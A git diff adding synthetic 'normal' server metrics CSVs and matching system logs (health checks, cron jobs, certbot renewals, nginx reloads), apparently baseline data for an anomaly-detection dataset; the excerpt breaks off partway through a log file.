+2025-08-22T10:00:20Z,10.78,38.85,22.58,1.0,1.08 +2025-08-22T10:00:25Z,10.78,37.47,26.6,1.0,0.85 +2025-08-22T10:00:30Z,10.29,37.61,28.17,1.12,1.08 +2025-08-22T10:00:35Z,14.33,37.14,25.55,1.06,1.06 +2025-08-22T10:00:40Z,13.01,35.13,25.3,1.08,0.78 +2025-08-22T10:00:45Z,13.54,35.54,22.42,1.12,0.73 +2025-08-22T10:00:50Z,10.1,35.16,20.93,1.16,0.74 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b/norm_dataset/scenario_5/norm_5_21.log new file mode 100644 index 0000000000000000000000000000000000000000..1b6c2565a5ea752793fe2c5835682235653f78d3 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_21.log @@ -0,0 +1,17 @@ +Aug 22 10:00:00 web-app[1452]: GET /api/v1/health status=200 OK +Aug 22 10:00:39 web-app[1452]: GET /api/v1/health status=200 OK +Aug 22 10:01:19 web-app[1452]: GET /api/v1/health status=200 OK +Aug 22 10:01:54 web-app[1452]: GET /api/v1/health status=200 OK +Aug 22 10:02:23 web-app[1452]: GET /api/v1/health status=200 OK +Aug 22 10:02:51 web-app[1452]: GET /api/v1/health status=200 OK +Aug 22 10:03:00 CRON[7531]: (root) CMD (certbot renew --quiet) +Aug 22 10:03:05 certbot[7535]: INFO: Renewing certificate for example.com. +Aug 22 10:03:15 certbot[7535]: INFO: Certificate renewal successful. +Aug 22 10:03:20 certbot[7535]: INFO: Reloading nginx service. +Aug 22 10:03:22 systemd[1]: Reloaded A high performance web server and a reverse proxy server. +Aug 22 10:03:30 web-app[1452]: GET /api/v1/health status=200 OK +Aug 22 10:04:13 web-app[1452]: GET /api/v1/health status=200 OK +Aug 22 10:04:57 web-app[1452]: GET /api/v1/health status=200 OK +Aug 22 10:05:39 web-app[1452]: GET /api/v1/health status=200 OK +Aug 22 10:06:18 web-app[1452]: GET /api/v1/health status=200 OK +Aug 22 10:06:51 web-app[1452]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_22.csv b/norm_dataset/scenario_5/norm_5_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..340bbe8c154f49638cabc1a825aac4f6de055c23 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,15.993428306022466,40.14561632402206,26.87700204329502,1.488254657813223,0.9038693028482345 +2025-07-02T12:00:05Z,14.723471397657631,41.452967485799334,22.42852733075115,0.9128275697641121,1.1065477826005157 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+2025-07-02T12:06:50Z,17.955788089483033,39.884347435878844,15.276197979792782,1.3715319246404039,0.3865115799920247 +2025-07-02T12:06:55Z,13.963459563452705,40.51172796222497,21.92683707599713,1.1680122940073145,0.7821759920974424 +2025-07-02T12:07:00Z,13.383012794213625,40.415036198995026,24.242295545820518,1.1961967584194622,0.5391060998990294 +2025-07-02T12:07:05Z,13.996485912830927,41.24077487355404,21.25665045410545,0.9994941270724382,0.9339345097660078 +2025-07-02T12:07:10Z,16.83080423540415,40.01950283781686,29.897233911794906,1.196297372801522,0.8733196492193697 +2025-07-02T12:07:15Z,15.657502219319369,42.18030111573597,20.7095758661181,1.1422682722159723,0.6120240427345289 +2025-07-02T12:07:20Z,13.940479592465923,39.60301475014307,23.67986653990905,1.264543712067618,0.6972266165326613 +2025-07-02T12:07:25Z,16.02653486622671,44.08025374988443,25.392221731858275,1.0345538112895354,0.5881572956222098 diff --git a/norm_dataset/scenario_5/norm_5_22.log b/norm_dataset/scenario_5/norm_5_22.log new file mode 100644 index 0000000000000000000000000000000000000000..1c767b8e48c605cdd97d74459b1f17a15aabb485 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_22.log @@ -0,0 +1,10 @@ +Jul 02 12:00:10 web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 02 12:01:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:20 web-app[1234]: GET /api/v1/user/18 status=200 OK +Jul 02 12:02:30 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:03:20 certbot[7890]: INFO Renewing certificate for example.com. +Jul 02 12:03:45 certbot[7890]: INFO Certificate renewal successful. +Jul 02 12:04:00 certbot[7890]: INFO Reloading nginx service. +Jul 02 12:05:00 web-app[1234]: GET /api/v1/user/21 status=200 OK +Jul 02 12:06:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:00 web-app[1234]: GET /api/v1/user/22 status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_23.csv b/norm_dataset/scenario_5/norm_5_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..23cfbfe167f434c9c8ff9078edddfaf3080ee923 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03 10:00:00+00:00,13.67,39.14,35.0,0.96,0.99 +2025-07-03 10:00:05+00:00,16.4,41.48,30.48,0.72,0.53 +2025-07-03 10:00:10+00:00,14.7,38.41,28.72,0.77,0.75 +2025-07-03 10:00:15+00:00,14.24,38.88,25.06,0.82,0.59 +2025-07-03 10:00:20+00:00,19.1,38.48,20.42,0.99,0.86 +2025-07-03 10:00:25+00:00,11.66,39.69,32.82,0.54,0.81 +2025-07-03 10:00:30+00:00,16.65,40.54,29.07,1.05,0.51 +2025-07-03 10:00:35+00:00,16.27,40.29,26.94,1.2,1.03 +2025-07-03 10:00:40+00:00,15.56,36.58,30.38,1.04,0.5 +2025-07-03 10:00:45+00:00,15.06,38.62,23.02,1.17,0.86 +2025-07-03 10:00:50+00:00,17.34,39.73,31.27,0.78,1.19 +2025-07-03 10:00:55+00:00,16.63,40.92,24.02,0.66,0.82 +2025-07-03 10:01:00+00:00,16.96,38.03,39.47,1.07,0.72 +2025-07-03 10:01:05+00:00,14.67,38.84,32.05,0.73,0.74 +2025-07-03 10:01:10+00:00,17.17,41.07,35.23,1.1,0.86 +2025-07-03 10:01:15+00:00,11.57,37.39,39.58,1.08,1.0 +2025-07-03 10:01:20+00:00,13.97,39.03,27.47,0.89,0.71 +2025-07-03 10:01:25+00:00,16.38,38.75,28.15,0.69,0.7 +2025-07-03 10:01:30+00:00,15.48,39.39,28.01,0.73,1.18 +2025-07-03 10:01:35+00:00,18.16,40.67,27.02,0.97,1.17 +2025-07-03 10:01:40+00:00,16.88,38.08,28.36,0.95,0.54 +2025-07-03 10:01:45+00:00,16.97,38.5,20.95,1.13,0.65 +2025-07-03 10:01:50+00:00,14.55,39.37,29.59,0.88,0.64 +2025-07-03 10:01:55+00:00,14.01,40.86,23.07,0.91,0.64 +2025-07-03 10:02:00+00:00,12.69,39.38,33.4,1.01,0.77 +2025-07-03 10:02:05+00:00,18.57,38.15,19.69,1.12,0.84 +2025-07-03 10:02:10+00:00,12.74,41.02,34.07,1.09,0.64 +2025-07-03 10:02:15+00:00,17.22,42.02,27.44,1.16,1.17 +2025-07-03 10:02:20+00:00,14.42,41.78,32.95,1.24,0.69 +2025-07-03 10:02:25+00:00,14.33,38.66,22.63,0.81,0.73 +2025-07-03 10:02:30+00:00,13.22,37.81,36.68,0.8,0.96 +2025-07-03 10:02:35+00:00,13.02,38.88,29.92,0.91,0.62 +2025-07-03 10:02:40+00:00,13.41,39.32,23.35,0.59,1.04 +2025-07-03 10:02:45+00:00,14.82,40.24,30.17,1.09,1.29 +2025-07-03 10:02:50+00:00,16.51,42.64,35.36,0.95,0.91 +2025-07-03 10:02:55+00:00,15.14,38.84,23.55,1.16,0.73 +2025-07-03 10:03:00+00:00,17.04,38.62,23.87,1.09,1.1 +2025-07-03 10:03:05+00:00,13.68,39.43,33.13,0.71,0.95 +2025-07-03 10:03:10+00:00,14.93,40.07,33.13,1.21,0.86 +2025-07-03 10:03:15+00:00,13.46,41.25,24.13,1.22,0.63 +2025-07-03 10:03:20+00:00,30.78,39.65,29.96,7.54,7.27 +2025-07-03 10:03:25+00:00,32.47,38.96,24.67,7.12,7.71 +2025-07-03 10:03:30+00:00,27.89,38.8,38.02,12.74,5.58 +2025-07-03 10:03:35+00:00,28.98,39.21,33.18,10.04,6.49 +2025-07-03 10:03:40+00:00,14.38,42.71,26.78,0.92,1.08 +2025-07-03 10:03:45+00:00,15.48,43.85,30.55,1.15,0.91 +2025-07-03 10:03:50+00:00,13.55,40.17,34.99,1.38,0.75 +2025-07-03 10:03:55+00:00,15.89,39.64,30.39,0.97,0.7 +2025-07-03 10:04:00+00:00,13.32,41.73,43.95,1.01,0.85 +2025-07-03 10:04:05+00:00,15.57,41.61,24.51,1.06,1.43 +2025-07-03 10:04:10+00:00,14.77,38.51,21.34,0.98,0.48 +2025-07-03 10:04:15+00:00,12.61,38.74,32.45,0.71,1.11 +2025-07-03 10:04:20+00:00,18.98,38.99,21.57,0.87,0.43 +2025-07-03 10:04:25+00:00,15.87,39.89,31.56,0.8,0.92 +2025-07-03 10:04:30+00:00,12.49,40.87,27.47,0.83,0.7 +2025-07-03 10:04:35+00:00,20.06,41.94,32.74,1.0,0.94 +2025-07-03 10:04:40+00:00,13.66,38.82,31.97,1.11,0.97 +2025-07-03 10:04:45+00:00,18.46,41.96,27.17,0.62,1.06 +2025-07-03 10:04:50+00:00,18.25,39.86,32.01,1.14,0.78 +2025-07-03 10:04:55+00:00,15.71,39.8,30.48,1.05,0.61 +2025-07-03 10:05:00+00:00,13.91,37.74,38.47,1.28,0.67 +2025-07-03 10:05:05+00:00,14.33,39.4,26.31,0.92,0.83 +2025-07-03 10:05:10+00:00,15.35,38.24,37.63,0.96,0.86 +2025-07-03 10:05:15+00:00,13.95,41.17,27.18,0.78,0.76 +2025-07-03 10:05:20+00:00,15.08,38.68,32.02,0.93,0.76 +2025-07-03 10:05:25+00:00,14.95,38.93,14.9,0.83,1.17 +2025-07-03 10:05:30+00:00,13.72,41.18,26.0,0.79,0.88 +2025-07-03 10:05:35+00:00,11.81,41.99,22.34,1.32,0.88 +2025-07-03 10:05:40+00:00,15.99,39.31,26.36,1.1,0.67 +2025-07-03 10:05:45+00:00,15.55,41.15,20.21,1.0,0.73 +2025-07-03 10:05:50+00:00,13.05,40.56,32.62,1.19,0.96 +2025-07-03 10:05:55+00:00,14.63,38.51,26.71,1.25,0.72 +2025-07-03 10:06:00+00:00,17.78,38.81,31.71,1.12,0.64 +2025-07-03 10:06:05+00:00,15.94,39.43,37.77,1.0,0.81 +2025-07-03 10:06:10+00:00,14.45,39.49,35.35,0.89,0.61 +2025-07-03 10:06:15+00:00,16.36,38.62,24.61,1.19,0.94 +2025-07-03 10:06:20+00:00,19.25,40.52,42.74,1.11,0.9 +2025-07-03 10:06:25+00:00,14.95,40.28,30.46,0.98,0.77 +2025-07-03 10:06:30+00:00,14.88,38.98,34.48,0.93,0.93 +2025-07-03 10:06:35+00:00,18.41,39.27,33.99,0.62,0.87 +2025-07-03 10:06:40+00:00,13.17,42.47,32.97,0.96,0.93 +2025-07-03 10:06:45+00:00,9.03,36.77,21.94,1.19,1.16 +2025-07-03 10:06:50+00:00,14.45,39.71,35.45,0.65,0.72 +2025-07-03 10:06:55+00:00,11.43,39.04,28.33,0.92,0.66 +2025-07-03 10:07:00+00:00,13.0,41.6,27.81,0.99,0.67 +2025-07-03 10:07:05+00:00,15.18,39.66,28.13,1.01,0.31 +2025-07-03 10:07:10+00:00,16.57,39.06,26.61,1.2,0.79 +2025-07-03 10:07:15+00:00,16.19,38.92,34.95,0.9,0.95 +2025-07-03 10:07:20+00:00,15.59,39.24,24.3,1.25,0.57 +2025-07-03 10:07:25+00:00,17.31,40.85,30.17,1.08,0.85 diff --git a/norm_dataset/scenario_5/norm_5_23.log b/norm_dataset/scenario_5/norm_5_23.log new file mode 100644 index 0000000000000000000000000000000000000000..a9493343d5b818c0e7db96d10232c0993fde954b --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_23.log @@ -0,0 +1,28 @@ +Jul 03 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:35 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:00:55 CRON[5134]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:10 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:01:15 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:45 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:01:50 CRON[5134]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:20 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:02:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:45 CRON[5134]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:55 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:03:20 certbot[4521]: INFO: Attempting to renew certificate for example.com +Jul 03 10:03:25 certbot[4521]: INFO: Certificate renewal successful. +Jul 03 10:03:30 systemd[1]: Reloading nginx.service... +Jul 03 10:03:35 systemd[1]: Reloaded nginx.service. +Jul 03 10:03:40 CRON[5134]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:45 systemd[1]: Starting daily clean up activities... +Jul 03 10:04:05 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:04:35 CRON[5134]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:04:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:05:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:05:30 CRON[5134]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:50 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:06:15 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:07:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:07:20 CRON[5134]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_5/norm_5_24.csv b/norm_dataset/scenario_5/norm_5_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..9f5b2ffdb2119f40aed2fc0494e99b9bcb71cb70 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T02:00:00Z,11.87,40.6,28.41,1.12,0.86 +2025-08-22T02:00:05Z,14.75,43.57,26.13,1.12,0.96 +2025-08-22T02:00:10Z,13.66,43.8,34.25,1.15,0.88 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+2025-08-22T02:06:45Z,13.12,40.08,34.9,1.14,1.09 +2025-08-22T02:06:50Z,11.65,42.56,26.4,1.06,0.85 +2025-08-22T02:06:55Z,10.32,41.13,30.18,0.87,0.85 +2025-08-22T02:07:00Z,11.55,43.23,33.77,0.83,1.03 +2025-08-22T02:07:05Z,11.63,40.87,32.41,1.06,1.08 +2025-08-22T02:07:10Z,13.65,43.45,31.97,0.81,1.09 +2025-08-22T02:07:15Z,13.19,41.93,32.02,1.03,1.0 +2025-08-22T02:07:20Z,14.44,44.68,28.59,1.18,0.85 +2025-08-22T02:07:25Z,12.36,40.69,27.94,1.03,0.73 diff --git a/norm_dataset/scenario_5/norm_5_24.log b/norm_dataset/scenario_5/norm_5_24.log new file mode 100644 index 0000000000000000000000000000000000000000..55dcbb4be0436dcd26ead37ff8bcbfd901d27e50 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_24.log @@ -0,0 +1,23 @@ +Aug 22 02:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 02:00:10 web-app[1357]: GET /api/v1/health status=200 OK +Aug 22 02:00:50 web-app[1357]: GET /api/v1/health status=200 OK +Aug 22 02:01:05 systemd[1]: Starting daily clean up activities... +Aug 22 02:01:30 web-app[1357]: GET /api/v1/health status=200 OK +Aug 22 02:02:10 systemd[1]: Starting daily clean up activities... +Aug 22 02:02:10 web-app[1357]: GET /api/v1/health status=200 OK +Aug 22 02:02:50 web-app[1357]: GET /api/v1/health status=200 OK +Aug 22 02:03:15 systemd[1]: Starting daily clean up activities... +Aug 22 02:03:18 CRON[8899]: (root) CMD (certbot renew --quiet) +Aug 22 02:03:24 certbot[8901]: INFO: Renewing certificate for example.com. +Aug 22 02:03:29 certbot[8901]: INFO: Certificate renewal successful. +Aug 22 02:03:30 web-app[1357]: GET /api/v1/health status=200 OK +Aug 22 02:03:34 certbot[8901]: INFO: Reloading nginx service. +Aug 22 02:03:36 systemd[1]: Reloaded A high performance web server and a reverse proxy server. +Aug 22 02:04:10 web-app[1357]: GET /api/v1/health status=200 OK +Aug 22 02:04:20 systemd[1]: Starting daily clean up activities... +Aug 22 02:04:50 web-app[1357]: GET /api/v1/health status=200 OK +Aug 22 02:05:25 systemd[1]: Starting daily clean up activities... +Aug 22 02:05:30 web-app[1357]: GET /api/v1/health status=200 OK +Aug 22 02:06:10 web-app[1357]: GET /api/v1/health status=200 OK +Aug 22 02:06:30 systemd[1]: Starting daily clean up activities... +Aug 22 02:06:50 web-app[1357]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_25.csv b/norm_dataset/scenario_5/norm_5_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..cc261212b6f2feaa885487d846ff6ccc6971ed75 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,16.49,42.49,34.01,1.55,1.21 +2025-08-22T10:00:05Z,14.92,46.85,22.14,1.44,0.92 +2025-08-22T10:00:10Z,17.61,38.5,13.43,1.39,1.14 +2025-08-22T10:00:15Z,20.56,40.4,32.86,1.39,0.91 +2025-08-22T10:00:20Z,15.62,40.1,18.21,1.2,1.31 +2025-08-22T10:00:25Z,15.93,34.78,32.71,0.93,1.25 +2025-08-22T10:00:30Z,21.68,43.61,27.79,1.22,0.85 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+2025-08-22T10:07:15Z,13.66,53.33,10.56,1.58,1.01 +2025-08-22T10:07:20Z,11.39,44.6,24.48,1.3,0.77 +2025-08-22T10:07:25Z,14.83,59.38,24.05,0.98,0.8 diff --git a/norm_dataset/scenario_5/norm_5_25.log b/norm_dataset/scenario_5/norm_5_25.log new file mode 100644 index 0000000000000000000000000000000000000000..fed20c691c6437370fdb035e7710ba17ed21ac65 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_25.log @@ -0,0 +1,9 @@ +Aug 22 10:00:05 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 22 10:01:40 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:15 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:03:25 certbot[7755]: INFO: Renewing certificate for example.com. +Aug 22 10:03:35 certbot[7755]: INFO: Certificate renewal successful. +Aug 22 10:03:40 systemd[1]: INFO: Reloading nginx service. +Aug 22 10:05:00 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 22 10:06:15 systemd[1]: Starting daily clean up activities... +Aug 22 10:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_5/norm_5_26.csv b/norm_dataset/scenario_5/norm_5_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..9979fdaef715ccc801a23cc6ee418cb1f8fe83fd --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,15.99,40.24,28.13,1.29,0.9 +2025-08-22T10:00:05Z,14.72,42.42,20.71,0.71,1.11 +2025-08-22T10:00:10Z,16.3,38.24,19.65,1.23,0.78 +2025-08-22T10:00:15Z,18.05,39.18,27.41,1.0,0.88 +2025-08-22T10:00:20Z,14.53,39.02,23.88,0.8,0.94 +2025-08-22T10:00:25Z,14.53,36.34,28.57,1.09,0.72 +2025-08-22T10:00:30Z,18.16,40.74,27.37,1.04,0.84 +2025-08-22T10:00:35Z,16.53,40.65,24.64,0.88,0.8 +2025-08-22T10:00:40Z,14.06,40.01,20.77,1.01,0.82 +2025-08-22T10:00:45Z,16.09,39.41,17.43,0.92,0.65 +2025-08-22T10:00:50Z,14.07,36.46,22.77,1.02,0.8 +2025-08-22T10:00:55Z,14.07,38.95,29.28,1.13,0.9 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a/norm_dataset/scenario_5/norm_5_26.log b/norm_dataset/scenario_5/norm_5_26.log new file mode 100644 index 0000000000000000000000000000000000000000..4025a597779aeba5b65f3994e4b801c2a338ab9f --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_26.log @@ -0,0 +1,29 @@ +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:35 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:00:55 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:10 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:01:15 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:45 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:01:50 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:55 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:03:20 certbot[4567]: INFO Renewing certificate for example.com +Aug 22 10:03:25 certbot[4567]: INFO Certificate renewal successful. +Aug 22 10:03:30 systemd[1]: Reloading nginx.service... +Aug 22 10:03:30 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:03:35 systemd[1]: Reloaded nginx.service. +Aug 22 10:03:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:03:45 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:05 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:04:35 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:04:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:05:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:15 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:05:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:05:50 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:06:15 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:25 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:07:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:07:20 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_5/norm_5_27.csv b/norm_dataset/scenario_5/norm_5_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..cc051eaa76a731e6a7f7cd81aade22001d2aa229 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-02T03:00:00Z,12.74507122951685,40.09707754934804,26.87700204329502,1.2882546578132232,0.9038693028482345 +2025-08-02T03:00:05Z,11.792603548243223,41.16831182382654,22.42852733075115,0.7128275697641121,1.1065477826005157 +2025-08-02T03:00:10Z,12.97153280715104,39.695285567712766,21.78732250581666,1.232632750430992,0.7782479703086285 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0000000000000000000000000000000000000000..db2522618658da8703eb34f6b0dd36ee58a1ee96 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_27.log @@ -0,0 +1,9 @@ +Aug 02 03:00:00 CRON[100]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 02 03:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 02 03:02:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 02 03:02:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 02 03:03:05 certbot[6789]: INFO Renewing certificate for example.com +Aug 02 03:03:25 certbot[6789]: INFO Certificate renewal successful. +Aug 02 03:03:30 certbot[6789]: INFO Reloading nginx service. +Aug 02 03:03:31 systemd[1]: Reloaded The NGINX HTTP Server. +Aug 02 03:07:20 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_28.csv b/norm_dataset/scenario_5/norm_5_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..c009407d7824df6aaf4b57047ee3fa4712ad112c --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-28T10:00:00Z,17.88,38.91,20.82,0.82,0.95 +2025-07-28T10:00:05Z,15.67,40.93,32.04,1.05,1.49 +2025-07-28T10:00:10Z,16.72,40.99,26.53,1.39,0.85 +2025-07-28T10:00:15Z,15.95,41.33,23.79,1.26,1.04 +2025-07-28T10:00:20Z,17.28,40.87,21.87,1.37,0.58 +2025-07-28T10:00:25Z,13.08,40.54,26.19,1.19,0.81 +2025-07-28T10:00:30Z,11.4,38.75,23.92,0.79,0.95 +2025-07-28T10:00:35Z,10.77,40.16,33.97,0.81,1.29 +2025-07-28T10:00:40Z,10.7,39.92,20.53,1.31,0.95 +2025-07-28T10:00:45Z,10.85,39.35,34.06,1.3,0.62 +2025-07-28T10:00:50Z,17.18,38.57,29.49,0.61,0.65 +2025-07-28T10:00:55Z,14.66,40.15,30.09,1.06,0.97 +2025-07-28T10:01:00Z,10.34,40.74,32.74,0.55,1.2 +2025-07-28T10:01:05Z,14.24,38.32,32.98,1.05,1.24 +2025-07-28T10:01:10Z,10.78,38.17,20.65,0.53,0.76 +2025-07-28T10:01:15Z,11.15,38.24,29.72,0.74,1.43 +2025-07-28T10:01:20Z,12.79,39.64,20.08,0.9,1.22 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web-app[1234]: GET /api/v1/user/42 status=200 OK +Jul 28 10:02:00 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 28 10:02:55 web-app[1234]: GET /api/v1/health status=200 OK +Jul 28 10:03:00 CRON[7788]: (root) CMD (/usr/bin/certbot renew --quiet) +Jul 28 10:03:05 certbot[7789]: INFO: Renewing certificate for example.com +Jul 28 10:03:20 certbot[7789]: INFO: Certificate renewal successful. +Jul 28 10:03:25 certbot[7789]: INFO: Reloading nginx service. +Jul 28 10:03:30 nginx[3456]: INFO: Reloading configuration +Jul 28 10:04:45 web-app[1234]: GET /api/v1/user/101 status=200 OK +Jul 28 10:05:45 web-app[1234]: GET /api/v1/health status=200 OK +Jul 28 10:06:45 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_5/norm_5_29.csv b/norm_dataset/scenario_5/norm_5_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..d0de365c933e3138de879ad1e90db354276a0318 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-29T10:00:00Z,8.75,38.48,15.12,1.31,0.89 +2025-08-29T10:00:05Z,14.51,40.99,11.7,1.31,1.14 +2025-08-29T10:00:10Z,12.32,41.32,23.87,1.37,0.96 +2025-08-29T10:00:15Z,10.99,40.67,23.16,1.41,1.05 +2025-08-29T10:00:20Z,6.56,41.64,13.87,1.01,1.44 +2025-08-29T10:00:25Z,6.56,40.67,19.9,1.0,0.89 +2025-08-29T10:00:30Z,5.58,40.91,22.26,1.3,1.46 +2025-08-29T10:00:35Z,13.66,40.66,18.33,1.15,1.41 +2025-08-29T10:00:40Z,11.01,39.17,17.94,1.2,0.7 +2025-08-29T10:00:45Z,12.08,39.62,13.63,1.3,0.57 +2025-08-29T10:00:50Z,5.21,39.43,11.4,1.39,0.6 +2025-08-29T10:00:55Z,14.7,41.95,23.46,0.84,0.52 +2025-08-29T10:01:00Z,13.32,40.76,23.51,0.88,0.59 +2025-08-29T10:01:05Z,7.12,41.62,19.5,0.59,1.18 +2025-08-29T10:01:10Z,6.82,43.3,15.09,1.08,0.57 +2025-08-29T10:01:15Z,6.83,40.74,15.24,0.54,0.82 +2025-08-29T10:01:20Z,8.04,41.45,20.89,0.97,1.34 +2025-08-29T10:01:25Z,10.25,42.88,23.46,1.04,0.52 +2025-08-29T10:01:30Z,9.32,40.83,23.31,0.79,1.31 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+2025-08-29T10:06:30Z,8.58,36.76,18.55,0.87,1.21 +2025-08-29T10:06:35Z,6.16,39.06,11.46,1.13,0.58 +2025-08-29T10:06:40Z,13.63,39.52,19.23,1.0,0.58 +2025-08-29T10:06:45Z,11.23,37.0,24.85,1.36,1.49 +2025-08-29T10:06:50Z,8.31,39.1,12.1,1.16,0.87 +2025-08-29T10:06:55Z,5.64,38.09,17.77,0.66,0.87 +2025-08-29T10:07:00Z,8.11,39.89,23.16,0.57,1.31 +2025-08-29T10:07:05Z,8.25,38.14,21.11,1.14,1.45 +2025-08-29T10:07:10Z,12.3,40.34,20.46,0.53,1.49 +2025-08-29T10:07:15Z,11.38,39.27,20.54,1.09,1.25 +2025-08-29T10:07:20Z,13.87,41.61,15.39,1.44,0.88 +2025-08-29T10:07:25Z,9.72,38.55,14.4,1.08,0.58 diff --git a/norm_dataset/scenario_5/norm_5_29.log b/norm_dataset/scenario_5/norm_5_29.log new file mode 100644 index 0000000000000000000000000000000000000000..4cfc3e144ea6dbe4d397cf698dd2febf825a416d --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_29.log @@ -0,0 +1,12 @@ +Aug 29 10:00:25 systemd[1]: Starting daily clean up activities... +Aug 29 10:01:15 web-app[3456]: GET /api/v1/health status=200 OK +Aug 29 10:02:05 